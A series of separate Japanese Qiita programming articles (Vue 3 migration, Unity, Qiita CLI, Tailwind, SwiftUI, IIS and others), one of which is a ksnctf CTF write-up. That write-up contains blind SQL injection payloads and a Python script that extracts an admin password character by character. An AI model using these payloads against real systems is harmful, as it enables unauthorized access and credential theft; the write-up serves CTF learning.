OmniAICreator/Qiita-1.07M huggingface dataset:
[Vue]Vue2.7→Vue3へ移行

# はじめに


前回、[compositon-api化](https://qiita.com/hasesiu/items/35f287d5317afcc63c83)を行ったので、最後にVue3へ完全移行した。

主に以下のライブラリを更新し、各ライブラリの更新手順書を参考にしながら、対応していった。

```diff_json:package.json

(dependencies)
- "element-ui": "^2.13.0",
- "vue": "^2.7.0",
- "vue-router": "^3.6.5",
- "vuex": "^3.1.3",
+ "element-plus": "^2.3.6",
+ "vue": "^3.3.4", 
+ "vue-router": "^4.2.2",
+ "vuex": "^4.1.0",

(devDependencies)
-"sass": "^1.26.3",
- "webpack": "^4.42.1"
- "eslint": "7.32.0",
- "eslint-plugin-vue": "^7",
+ "sass": "^1.63.4",
+ "webpack": "^5.87.0"
+ "eslint": "^8.42.0",
+ "eslint-plugin-vue": "^9.14.1",
+ "core-js": "^3.31.0",

```


# Vueの更新
* 基本的には、Vueの移行ガイド通りに実施する。
  
https://v3-migration.vuejs.org/ja/ 

* vue/compat を入れることで、Vue2系とVue3系の構文が併用できる。
* Vue2系の構文はワーニングでるので、基本的にはその対応を行う。
    * 破壊的変更が主な修正対象
    
https://v3-migration.vuejs.org/ja/breaking-changes/



# vueRouter
* vueと同様に破壊的変更を確認し、対処する

https://router.vuejs.org/guide/migration/

* 今回、vueRouterの破壊的変更や、型定義の変更が多くあり、修正に時間がかかった。
* 以下、対応の一部。

* アスタリスクによる全パス指定はできなくなり、かわりに正規表現で指定する

```diff_javascript:route.ts
- { path: '*', ...}
+ { path: '/:pathMatch(.*)*', ..:} 
```

* paramsの受け渡し方法が変更になり、パスにパラメータを含めることが必須となった。
* post的な使い方で、オブジェクトを受け渡していたため、一律queryパラメータへの変更した。URLが長くなってしまったが、一番影響が少ない方法がこれだった。
* `JSON.stringfy ⇔ JSON.parse` でオブジェクトと文字列の変換も必要であった。

https://github.com/vuejs/router/blob/main/packages/router/CHANGELOG.md#414-2022-08-22


# vuex
* そのまま続投できるらしい。(pinia推奨だが）
* vuex3→4へ上げる際は若干の破壊的変更があるのでその対応
    
https://vuex.vuejs.org/ja/guide/migrating-to-4-0-from-3-x.html#_3-x-%E3%81%8B%E3%82%89-4-0-%E3%81%B8%E3%81%AE%E7%A7%BB%E8%A1%8C

# Vue-cli × Webpack5

* vue-cliとwebpackを5系に上げた。
* core-jsモジュールのエラーが出るので、素直にcore-jsを入れた。


# eslint

* vue3系のpluginを設定する

```.eslintrc.js
- extends: ['plugin:vue/strongly-recommended', '@vue/typescript/recommended', '@vue/prettier'],
+ extends: ['plugin:vue/vue3-strongly-recommended', '@vue/typescript/recommended', '@vue/prettier'],

```

* その後、`yarn vue-cli-service lint --fix`のlint自動修正で、slot構文や、sync構文の書き換えをしてくれる。

# elment-uiをelment-plusへ

* el-input に値を入力できない。v-modelが機能してなさそう
    * vue/compatが原因だった。comatを入れると、vue2系でコンパイルされてしまうらしい。
    * 以下の対応で、vue3系でコンパイルされ動くようになったが、画面が動くようになったら早々に`vue/compat`は外したほうが良かったかも。
    
```main.ts
import { ElInput } from 'element-plus'

ElInput.compatConfig = { MODE: 3 }
```

* el-buttonのレイアウトが崩れている。
    * 高さ32pxが指定されてたのが原因だった。styleで上書きしてやる必要がある。

```index.scss	
.el-button {
  height: auto;
}
```

* 他にも、v-formのrulusの型定義や、date-pickerのフォーマット指定がdayjs準拠になったこと、スタイルの違いなどを確認して治していった。

# 所感

作業手順的には各ライブラリ毎に、概ね以下を行っていった。
* 公式ドキュメントのマイグレーションの項を確認し修正。
* コンソールやターミナルにエラーが出るので調査。大体がバージョン起因のものなので、参考にするのは公式を優先
  * 公式ドキュメント、またはgithubの`changelog`ページを確認し、`Breaking Change`を対応する
  * ほとんどがそれでOKだった。
一定の間隔で処理を実行する方法　３選

Unityで銃の弾を発射するときなどに使える方法

```csharp
// この方法は、ボタンを押した直後に弾が発射できない
float fireRate = 0.2f;
float future = -1f;

void TryFire()
{
    if (future <= 0f)
    {
        future = Time.time + fireRate;
    }
    else if (Time.time >= future)
    {
        future = -1f;
        Fire();
    }
}
```

```csharp
// ボタンを押した直後に弾を発射できる
// 間隔が長いとfloat型の精度の影響を受けるかも
float fireRate = 0.2f;
float fireTimer = -1f;

void TryFire()
{
    if (fireTimer <= 0f)
    {
        fireTimer = fireRate;
        Fire();
    }
}

void Update()
{
    if(fireTimer > 0)
    {
        fireTimer -= Time.deltaTime;
    }
}
```

```csharp
// ボタンを押した直後に弾を発射できる
float fireRate = 0.2f
float LastTimeShot = Mathf.NegativeInfinity;

void TryFire()
{
    if (m_LastTimeShot + fireRate < Time.time)
    {
        Fire();
    }
}

void Fire()
{
    m_LastTimeShot = Time.time;
}
```
ローカル環境でQiitaが書けちゃう「Qiita CLI」が登場！ GitHub Actionsも早速試してみた

Qiita公式Twitterでアナウンスされていた、こちらの機能を早速使ってみたので紹介です！

https://twitter.com/Qiita/status/1674619052449484801?s=20



# Qiita CLIとは？

Qiitaの記事投稿などをPCのローカル環境で実施できるコマンドラインツールです。

通常、Qiitaの記事投稿はPCをインターネットに接続した状態でWebブラウザからQiitaサイトへアクセスして行いますが、このQiita CLIを使えばPCローカルで記事をMarkdownファイルに執筆し、コマンドでQiitaサーバーへ送信することができます。

https://github.com/increments/qiita-cli



# Qiita CLIを使うメリットは？

### オフライン環境でも記事の執筆やプレビューができる
- インターネットに繋がっていない飛行機や新幹線の中でも、プレビューを見ながらQiita記事が書ける！

### 自分の好きなMarkdownエディタ環境で記事が書ける
- いつもコードを書いているお気に入りのエディタでQiita記事が書ける！ 実家のような安心感。
- VS Codeの拡張機能も活用可能。
    - Markdown用のリンターやフォーマッターを使ったり…
    - GitHub Copilotにヒントをもらいながら記事執筆できるかも？

### 自分の好きなGitリポジトリでバージョン管理やCI機能が使える
- GitHub上で記事のバージョン管理が可能！
- GitHub Actionsを使った自動デプロイが使える！ 更新記事をpushしたら自動でQiitaへ反映。



# 導入手順

詳細は公式Readmeをご参照ください。
また、ベータ版のため正式リリースまでに破壊的変更が入る可能性がある旨、アナウンスされています。

https://github.com/increments/qiita-cli#readme


### 前提条件

- M1以降のMacを前提とします
- エディターはVS Codeを使用
- Node.js v18.0.0以上がインストールされていること


### GitHubの設定（スキップ可）

- 自分のGitHubアカウントにQiita執筆用のリポジトリを作成
- リポジトリ設定からGitHub Actions実行用のシークレットを設定
    - キー名： `QIITA_TOKEN`
    - キー取得方法： Qiitaの `設定 > アプリケーション > 個人用アクセストークン` より発行


### 作業用PCの初期設定

- Qiita執筆用ディレクトリを作成（もしくは前述のリポジトリをクローン）
- Qiita CLIのインストール（ `npm install @qiita/qiita-cli` ）
- Qiita CLIのログイン（ `npx qiita login` ）
    - Qiitaの `設定 > アプリケーション > 個人用アクセストークン` より発行したトークンを入力
- GitHub設定ファイルの作成（ `npx qiita init` ） ※スキップ可
    - 自分のGitHubリポジトリへプッシュしましょう
- Qiita Previewの起動（ `npx qiita preview` ）
    - 起動すると記事ファイルがQiitaからダウンロードされてきます


### 記事の投稿・更新

- WebブラウザからQiita Previewへアクセス（ `http://localhost:8888/` ）
- Web GUI上の `新規記事作成` ボタンを押すと `public` ディレクトリ内に記事ファイルが作成されます
- 記事ファイルの執筆中は、上書き保存するたびにWeb GUI上でプレビューが自動更新されます
- 記事ファイルを執筆できたら、Web GUI上の `記事を投稿する` ボタンを押すとQiitaに投稿（や更新）できます

※記事の削除はQiita CLIやQiita Previewからは実施できないようです。できちゃったら事故りそうで怖いので、安全でいいですね！


# GitHub Actionsで記事の自動デプロイにチャレンジ！

"CI/CD"の形でよく聞くCD（継続的デリバリー）ツールとして有名なGitHub Actions。
実は使ったことないよ！という方はこれを機にQiitaでActionsしてみましょう。

手元で検証したところ、記事の投稿はActionsからは実行できないようなので更新操作を試してみます。


### 手順

- 既存の記事ファイルの内容をローカルで更新します

※この記事をモルモットにしてみました。

https://qiita.com/minorun365/items/c42195cf8aa17d5b4ca2

赤枠部分が今回加筆した箇所です。
![スクリーン ショット 2023-07-01 に 00.04.44 午前.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1633856/bea4daed-4034-9678-3ecf-3ad6a6bcfdac.png)

- ファイルを上書き保存して、GitHubのmainブランチへ変更をプッシュします

![スクリーン ショット 2023-07-01 に 00.09.31 午前.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1633856/16963643-deba-b8ce-1d65-00804990339f.png)

- ブラウザでQiitaサイトの自分の記事を確認してみると、確かに更新されています！

![スクリーン ショット 2023-07-01 に 00.11.00 午前.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1633856/6a3698cd-11c9-8c9e-a459-0d1c3fc4623a.png)

GitHub Actionsの履歴を見ると、ちゃんと動作してくれていたようです。
![スクリーン ショット 2023-07-01 に 00.13.02 午前.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1633856/2be8c51b-42de-e182-c999-604235c18b6c.png)

※補足： 記事の自動アップデート後は、GitHub Actionsによってリモートリポジトリ上の記事ファイルが一部更新されます（更新時刻の自動追記）。ローカルとの競合を避けるため、リモート側の変更をこまめにfetchされることをオススメします。
baserCMSのショートコード（1）基本

## baserCMS4のご紹介
baserCMSとは、CMS（Contents Management System）です。
つい先日新しいバージョン（baserCMS5）が登場しましたが、この記事はそれ以前の安定版のbaserCMS4系を対象としております。
baserCMS4系は発表から5年以上経過しておりますが、その間に毎月のように細かいマイナーチェンジを加えていて、以前使いにくかった部分などが改善され、**とても完成度の高い使いやすい**CMSとなっております。
某有名CMSと比べると、管理画面が圧倒的に速く、標準で使える機能も圧倒的に多いため、追加プラグインを殆ど使わなくても、かなり複雑なサイトが作れるのが特徴的です。（もちろんプラグインもあります）
（あくまで主観ですが、一度このbaserCMSを使うと他のCMSに戻れないくらいです）



公式サイト https://basercms.net/

## この記事で紹介する事
baserCMSのショートコードを使って、固定ページなどの自由度高める

## 想定している対象者
baserCMSを使ってウェブサイトを作成している人（作成しようとしている人）
ある程度テーマファイルを編集することができる人

##
baserCMSにはショートコードを使って投稿欄内でbaserCMSの関数を使うことができる機能があります。
例えば、固定ページのコンテンツの途中にサイトマップや記事一覧などを表示したいときなどに役に立ちます。

## 使い方
### 設定ファイルへの記述
```ドキュメントルート/app/Config/setting.php ```
例　サイトマップを出したいとき
```
$config['BcShortCode']['BcBaser'] = ['BcBaser.getSitemap'];
```
上記の準備ができたら、ブログ記事編集欄に
```[BcBaser.getSitemap] ```
と記載し、保存します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/553367/b1e18e65-2460-c593-cecb-edb81e602ff8.png)
すると、公開記事側では
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/553367/d741e37a-1a4d-9010-fac2-856ae348ce7b.png)
こんな具合で、サイトマップが表示されます。

固定ページなどの自由度が高まるので、利用してみると良い


ただ、```blogPosts()``` などの引数のある関数などは、管理画面側からの入力が少しめんどくさくなります。

そこで、簡単に色々なbaserCMSの関数をショートコードで呼び出す組み込みテクニックを次回掲載します。

next: [baserCMSのショートコード（2）小技](https://qiita.com/katokaiysa/items/a60f98c7520c767ed147)
【TailwindCSS】カスタムクラスが補完されるようにする方法【VSCode】

## はじめに

VSCodeでCSSファイルに以下のようにカスタムスタイルを作成しても補完されません。

```css
@tailwind base;
@tailwind components;
@tailwind utilities;

@layer utilities {
  .pb-safe {
    padding-bottom: env(safe-area-inset-bottom)
  }
}

```

## 補完されるようにする方法

補完されるようにするにはCSSファイルではなく、プラグインシステムを使用してカスタムスタイルをプロジェクトに追加します。

```js:tailwind.config.js
/** @type {import('tailwindcss').Config} */

const plugin = require('tailwindcss/plugin')

module.exports = {
  // ...
  plugins: [
    plugin(function ({ addUtilities }) {
      addUtilities({
        '.pb-safe': {
          'padding-bottom': 'env(safe-area-inset-bottom)',
        },
      })
    }),
  ],
}
```

以下のように入力時に補完されるようになります。

![スクリーンショット 2023-07-01 0.00.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/71168b54-55f1-cf4a-588a-e67e7ed54e41.png)

## 参考
https://github.com/tailwindlabs/tailwindcss-intellisense/issues/227

https://tailwindcss.com/docs/adding-custom-styles#writing-plugins

https://tailwindcss.com/docs/plugins
Integration Serviceでロボットをメールきっかけで動かす

Outlookでメールが来た時にロボットを実行したい、という自動化案って結構あると思います。
一般的な自動化方法としては、メールフォルダに新着メール（件名や宛先などで絞って）が届いているか、ロボットが定期的に巡回・確認してメールがあったら処理を行う、というのがあったと思います。

今回はそれをIntegration Service & Microsoft Outlook 365コネクタでやろうということで、設定していこうと思います。

【偉大なる先駆者の方々の記事はこちら】

https://qiita.com/kou1209/items/1ea429929d108fb88031

https://qiita.com/shuy/items/f227d7c007441fdd1394

## コネクションを作成
まずはAutomation Cloudにログインし、Integration Serviceの画面に行きます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636507/694cd8b8-bd88-4fc7-16c4-24dc51005f7a.png)

いろいろコネクタがありますが、今回はOutlookを受信したときのトリガーを作りたいので、Outlookで件作成します。

２つあるけどトリガーを利用するのでレガシじゃない方を選択。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636507/a1b4bc79-9011-038a-8ffd-c58fe74c1da3.png)

コネクションを追加
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636507/fbddfa9c-186b-2843-cad2-90b6fed5bcf3.png)

Microsoft 365に接続して認証が完了するとコネクタができあがります
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636507/d9299d76-1ed6-9617-d137-69a7e57241b5.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636507/c5e9d5a2-4dda-786d-d7fc-d39b7dadc8c1.png)

## トリガーの作成
あとはトリガーの画面でメール受信のトリガーを作成し、Unattended Robotと紐づければメール受信きっかけでロボット実行が可能になります！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636507/8a328c8f-0ca3-9e71-825b-2a83b8993e71.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636507/f4d1badc-d81b-5bb4-42ba-86ba815c21b1.png)
「寿司打で一か月間タイピング練習」してみた件

# 前書き
ゲームでのコミュニケーションはボイスチャットが当たり前、身近なコンピュータといえばスマートフォンが挙がるような学生時代を生きてきた私には、タイピングに対して少しだけ苦手意識がありました。

タイピングができずとも生活する分には困らない訳ですが、IT業界へ進むことを決めた以上、タイピングに対する苦手意識を直しておくことは将来的に自分のためになるだろうと思い、とりあえず「寿司打で一か月間タイピング練習」してみました。

# 目標設定
まずはどれくらい自分ができるのかを知るために、「お手軽」「お勧め」「高級」のコースに挑戦しました。

<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2804632/925a0e59-0ee8-ab5d-aa3c-70abf89d8c01.png">

- お手軽：余裕あり
- お勧め：若干きつめ
- 高級：お題を完走することすら困難

という結果から、「お勧め」コースの5000円クリアを最低目標に据えて練習することにしました。

# 練習の仕方
練習の仕方といっても、凝った方法は一切取っていません。

ホームポジションを意識して一日1~5回ほどお勧めコースに取り組みました。

<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2804632/d6e780cf-26de-12a7-a8ae-69c0d537edc8.png">


注意したのは、やる気を保つために「無理をしない」こと。

昨日より低いスコアだから、納得がいかないからといって無理に続けようとすると、ストレスで継続できなくなると思ったので無理をしないことにしました。

# 気づき
タイピング練習をしているうちに、自分のタイピングのクセみたいなものが明確にわかるようになっていきました。

「速く打ちたい」「正確に打ちたい」を追求していくと、自分の指の運びに注目するようになって、そこから良くないクセが見つかる感じでした。

<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2804632/70f1a687-8a93-190a-30ec-73b9e277cc55.png">

(練習をはじめて10日間ほどで5000円を越えられるようになりました)

この後は、6000円越えを目標に設定しました。
6000円越えを目指す際にもやり方を変えることはなく、これまでと同じように練習を続けました。



15日目
<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2804632/0394782d-38a1-0114-5675-f3f6a5a65639.png">


20日目
<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2804632/55677bef-be87-ec80-5aad-cd43dd0e4c63.png">


# 最終結果
30日目

<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2804632/5ff7032f-ba47-b754-5b03-a6508f280629.png">

6000円越えの目標もクリアすることができました！

# 終わりに
この一か月間、練習に打ち込んだおかげでかなりタイピングには自信がつきました。

とはいえ、まだまだ改善の余地はあるので、これからもタイピング練習は継続していきたいと思います。
SwiftUIでCustomDismissActionを作成する

SwiftUIでdismissをするとき下記のキーを利用します。
https://developer.apple.com/documentation/swiftui/environmentvalues/dismiss

しかし対象OSバージョンに制限があります。
iOS14などでは下記を利用することになります。
https://developer.apple.com/documentation/swiftui/presentationmode/dismiss()

そして下記のExtensionによってOSでバージョン分けることができます。
```Swift
extension EnvironmentValues {
    // this can be used as: @Environment(\.dismissable) var myDismiss
    // in any swiftui view and it will not complain about ios versions
    var dismissable: () -> Void {
        return dismissAction
    }


    // this function abstracts the availability check so you can
    // avoid the conflicting return types and any other headache
    private func dismissAction() {
        if #available(iOS 15, *) {
            dismiss()
        } else {
            presentationMode.wrappedValue.dismiss()
        }
    }
}
```
https://stackoverflow.com/questions/57190511/dismiss-a-swiftui-view-that-is-contained-in-a-uihostingcontroller

ただし`presentationMode.wrappedValue.dismiss()`ではUIHostingControllerの更に親のViewControllerを閉じることができません。[こちら](https://developer.apple.com/documentation/swiftui/environmentvalues/dismiss)では可能です。

OSバージョンで差異を出さずに閉じることのできるDismissKeyを作成します。

## 環境
OS: macOS 13.3.1
Xcode.app: Version 14.3 (14E222b)
動作iOSバージョン:13以上

## CustomDismissAction

```Swift:CustomDismissActionKey
struct CustomDismissAction {
    private var parentViewController: UIViewController
    
    func callAsFunction(animated: Bool = true) {
        parentViewController.dismiss(animated: animated)
    }

    init(_ parentViewController: UIViewController = UIViewController()) {
        self.parentViewController = parentViewController
    }
}

struct CustomDismissActionKey: EnvironmentKey {
    static let defaultValue: CustomDismissAction = CustomDismissAction()
}

extension EnvironmentValues {
    var customDismiss: CustomDismissAction {
        get {
            self[CustomDismissActionKey.self]
        }
        set {
            self[CustomDismissActionKey.self] = newValue
        }
    }
}

extension View {
    func setupDismissAction(_ parentViewController: UIViewController) -> some View {
        environment(\.customDismiss, CustomDismissAction(parentViewController))
    }
}
```

## 利用方法
HostingControllerを利用時にsetupDismissActionモディファイアで親のViewControllerを指定します。
```Swift
class SwiftUIWrapViewController: UIViewController {
--略--
    override func viewDidLoad() {
        super.viewDidLoad()
--略--
        let hostingController: UIHostingController = UIHostingController(
            rootView: SwiftUIView()
                .setupDismissAction(self)
        )
--略--
    }
}
```

DismissActionを利用する時のように@Environmentで定義し、利用したい箇所で呼びます。
```Swift
@Environment(\.customDismiss) private var dismiss
```

今回作成したCustomDismissActionはこちらで公開していますのでご参考になればと思います。
https://github.com/kokiTakashiki/iOS14SupportDismissKey/tree/main

最後までお読みいただきありがとうございました。
「Login」 ksnctf Writeup

# 問題
次のようなWebページが与えられます。
![スクリーンショット 2023-06-30 214616.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576161/75c8ad5e-7359-9b75-808a-5f0a48f56733.png)


# 解法
最初にソースコードを確認します。
![スクリーンショット 2023-06-30 214721.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576161/fdbd01ea-ce9c-4983-2bc8-590cf07df6c2.png)
特に参考になる情報はありませんでした。

とりあえず基本のSQLインジェクションをしてみます。
![スクリーンショット 2023-06-30 215521.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576161/7126d823-57f6-9ec1-b705-0e9e7022325a.png)


ログインに成功しましたが、メッセージが出てきました。
フラグはadminのパスワードであることと、ヒントとして問題ページのPHPコードが表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576161/3ee22ed0-4816-8b6f-cec7-1c7373ec9525.png)


PHPコードから下記のことがわかります。
* SQLiteを使用
* `user`というテーブルがある。
* `id`, `pass`というカラムがある。
* ログイン失敗でエラーメッセージ表示
* ログイン成功（SQLインジェクションに成功）でCongratulations!ページを表示


このとき、ログイン可否に応じて結果が変化しているためBooleanベースの攻撃ができそうです。ブラインドSQLインジェクションとも呼ばれているみたいです。
Booleanベースの攻撃については参考文献[^1]を参照してください。
参考文献を参考にadminのパスワードの最初の一文字目が'F'か確かめるSQL文を試してみます。
```SQL
' OR SUBSTR((SELECT pass FROM user WHERE id='admin'), 1, 1)='F' --
```

上記のSQL文がPHPコード内のqueryに挿入されるとSQLiteには次のようなSQL文が渡されます。
```SQL
SELECT * FROM user WHERE id='admin' AND pass='' OR SUBSTR((SELECT pass FROM user WHERE id='admin'), 1, 1)='F' --'
```
SUBSTR関数は指定した文字列の一部を切り出します。
よってここではidがadminであるユーザのpassの文字列の1文字目を切り出してFであるか確かめています。
（フラグフォーマットが'FLAG_XXXXX'であるためFです。）

いい感じに動いたので参考文献の自動化コードを本問題用に修正して実行してみます。

```python
import string
import requests

url ="http://ctfq.u1tramarine.blue/q6/"
payload ="' OR SUBSTR((SELECT pass FROM user WHERE id='admin'),{0},1)='{1}' --"
chars = string.printable
flag = ''

for i in range(0, 1024):
    for c in chars:
        params = {'id' : 'admin', 'pass' : payload.format((i + 1), c)}
        r = requests.post(url, data=params)
        
        if "Congratulations" not in r.text:
            if c == chars[-1]:
                quit() 
            continue
        
        flag += c
        print(flag)
        break
```

![スクリーンショット 2023-06-30 225715.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576161/0863e003-b9e2-b8f7-f19e-b0c631c8525a.png)

フラグが出ました。


# 参考

https://www.sqlite.org/lang_corefunc.html#substr

[^1]:[詳解セキュリティコンテスト CTFで学ぶ脆弱性攻略の技術](https://book.mynavi.jp/ec/products/detail/id=122750)
応用情報技術者試験に運よく合格した話

# はじめに
4月16日に行われた、令和5年度春期の応用情報技術者試験に合格しました。

この記事では、私がどのように応用情報技術者試験に合格したのかを簡単にまとめます。
もし参考になれば幸いです。

(追記2025/05/04)
久しぶりに読み返すとかなりひどい文章に感じたので、そのうちAIの力を借りて校正します...

# 結果
結果は、午前試験が71.25点、午後試験が66点でした。
午後の試験では以下の選択問題を選びました。

2.  経営戦略
3.  プログラミング　
9.  プロジェクトマネジメント
10. サービスマネジメント

試験結果のスクリーンショットは下記の通りです。
![result.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3492777/b7d92637-6bde-6b2e-2309-d7233ec9f2d7.png)

# 使用した学習リソース
私が試験に合格するために利用した本とウェブサイトは以下のとおりです。

## 本
- [応用情報技術者　合格教本](https://www.amazon.co.jp/dp/4297131587/)：基本的な知識の習得に役立ちました。
- [応用情報技術者　午後問題の重点対策](https://www.amazon.co.jp/dp/486575251X)：午後試験の対策に活用しました。

## サイト
- [応用情報技術者試験ドットコム](https://www.ap-siken.com/)：過去問道場での午前対策と、掲示板での情報収集に利用しました。

# 試験対策
午前試験は過去問道場で問題を解き、午後試験は合格教本と重点対策の本を用いました。以下に具体的な方法を記載しておきます。

## 午前試験
暇な時間に過去問道場で問題を解きました。合計で約1750問を解き、100問を解くのに約30分かかるぐらいのペースで進めました。問題と解説は軽く読む程度で、音楽を聴いたり、動画を見たりしながらのんびりと進めました。1750問での正答率は61%ぐらいでした。

## 午後試験
合格教本を2周し、その間に重点対策の本も少しずつ読み進めました。
試験の1週間前から午後対策に取り組み始めたことで、試験本番まで時間がなかったため、問題はほぼ読まずに解説をサラッと読み、問題文のどこを読むべきか、どのように解答を書くべきかを理解するのに注力しました。
また、重点対策を読み進める中で、データベースとネットワークの問題だけは避けるべきだと感じました。(まったくもってこの2分野に関する知識がなかったため。)

<br />
<br />

まとめると、

午前問題は、**とにかく数をこなすこと**
午後問題は、**解答に至るまでの過程を理解すること**

が重要だと思います。


# 本番
1700問解いただけに午前問題については自信があったので、途中退出ができるようになった段階で途中退出して午後に備えて勉強しました。

午後はとりあえず解けそうな問題があったら解いてみよう、ぐらいの気持ちで受けました。実際に、目についたプログラミングの問題が解けそうだったのでまずはそれを解き、その後は同じように解けそうな問題を適当に選んだ記憶があります。隣の席の人が途中退出可能になった瞬間に出て行ったのですごい人もいるんだなと思いました。

試験終了時の感触は、午前は大丈夫そう、午後もプログラミングだけはちゃんと解けたなあと何とも言えないものでした。

# 振り返り
自分が合格する可能性は低いと思っていたのですが、運良く午前試験が難化し、私が選んだ午後試験の問題が易化した結果、合格することができました。特にプログラミングの問題が(自己採点で)ほぼ満点だったことが大きな要因でした。

こんな受かり方をすることもありますが、これから応用情報技術者試験を受験しようと思っている方には、次のように勉強するのがおすすめです。

- 少なくとも試験の1ヶ月前から午後対策の勉強を始める。(午前問題は2, 3ヶ月前からちまちま解くのをおすすめします。)
- 点数が安定するデータベースやネットワークなどのテクノロジ系の問題を重点的にこなす。

私の経験が皆さんの試験対策の参考になれば幸いです。

今後は、情報処理安全確保支援士試験の合格に向けて、勉強しようと思います。

<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
以下は蛇足です。
<br />
<br />
<br />
<br />
<br />
<br />

# 1週間+αの勉強での合格
1週間+αといっても、何の前提知識もなしで短期間で受かるほど、応用情報技術者は甘くありません。私は情報系の学部に所属する大学3年生で、令和4年度秋期に基本情報技術者試験に合格していました。これらの要因により、試験に挑む前提としてある程度の知識が既にありました。

基本情報に受かったし応用情報も受けてみようということで、とりあえず応用情報技術者試験への申し込みはしていましたが、正直に言うと、試験勉強のやる気がなかなか湧きませんでした。結果的に、試験勉強(午後問題への対策)を始めたのは試験本番の1週間前となってしまいました。これが私のいう「1週間+α」です。（+αは暇なときに行った過去問道場）

しかし、私は最後の1週間で毎日5時間ほど集中的に勉強しました。そして、運良く、この短期間での勉強だけで合格することができました。

私の「1週間+αでの合格」体験は、前提知識と短期集中型の努力が合わさった結果です。そして、これは例外的なケースであり、試験の難易度や個々の背景によっては全く異なる結果になることも理解しています。

あまり参考にならない合格までの道のりだとは思いますが、試験対策に迷いがある方、もしくは試験まで残り1週間という方がいれば、何かの参考になれば幸いです。努力が必ず報われるわけではありませんが、最後まであきらめずに頑張る価値はあると思います。

蛇足まで読んでくださった方、ありがとうございました。
DAY4

# DAY4
230629
勉強中の本↓
HTML&CSS コーディング・プラクティスブック 1 実践シリーズ [プリント・レプリカ] Kindle版
<a href="https://www.amazon.co.jp/HTML-CSS-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%83%BB%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E3%83%96%E3%83%83%E3%82%AF-1-%E5%AE%9F%E8%B7%B5%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-ebook/dp/B083W12N4X?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&crid=L817FRQ3XB4&keywords=html+%E5%AE%9F%E8%B7%B5&qid=1688131954&s=digital-text&sprefix=html+%E5%AE%9F%E8%B7%B5%2Cdigital-text%2C172&sr=1-3&linkCode=li2&tag=sakura010e-22&linkId=212bac5c1560ad4d3956dc8a47c30c5a&language=ja_JP&ref_=as_li_ss_il" target="_blank"><img border="0" src="//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B083W12N4X&Format=_SL160_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=sakura010e-22&language=ja_JP" ></a><img src="https://ir-jp.amazon-adsystem.com/e/ir?t=sakura010e-22&language=ja_JP&l=li2&o=9&a=B083W12N4X" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />

step4-6を読みました。
p で記述するものがいくつかあって、それをcssで変えるとき、
h2+pでh2に隣接するpだけをえらぶことができるらしい。
まだコーディングはしてないのでぼんやりとしかわからない。

# DAY5
230630

step7を読みました。
背景の色云々のところがよくわらからなかった:sweat_smile:
打ち込んでみたらわかるようになるかな
WebAPIをしばらく操作しないと初回アクセスに時間がかかる回避法

# 1. はじめに

* WebAPIのリクエストする間隔が空くと、初回アクセスのみ時間がかかるのを回避したい
* IISサーバを使用しているので、サーバ設定だけで対応したい

# 2. 開発環境

* Windows Server 2012R2
* IIS Ver 8.5

# 3. IISの設定変更

* IISマネージャーを起動する
 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/13a3cdbc-f1e1-c3aa-cad0-a098ab66f978.png)

* 対象アプリケーションプールの選択し、詳細設定をクリックする
 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/53781183-31f9-fed1-1379-42cd7ff3df0c.png)

* プロセスモデル > アイドルタイムアウトの操作を「Terminate」から「Suspend」に変更する
 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/11e68376-733b-0ba4-bdd2-61577c5ab479.png)

* アプリケーションタスク > リサイクルをクリックし、設定を反映する
    * サービス公開前であれば停止、開始でも同様
 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/e515e4c8-955d-7f9f-23ad-9a51709e0ffc.png)


# 4. 参考文献


https://learn.microsoft.com/ja-jp/iis/get-started/whats-new-in-iis-85/idle-worker-process-page-out-in-iis85

https://pleasanter.org/manual/faq-first-access
IISで接続タイムアウトを設定する



# 1. はじめに
* IISサーバの接続タイムアウト時間を変更したい

# 2. 開発環境
* Windows Server 2012 R2
* IIS Ver 8.5

# 3. IISの設定変更
* IISマネージャーを起動する
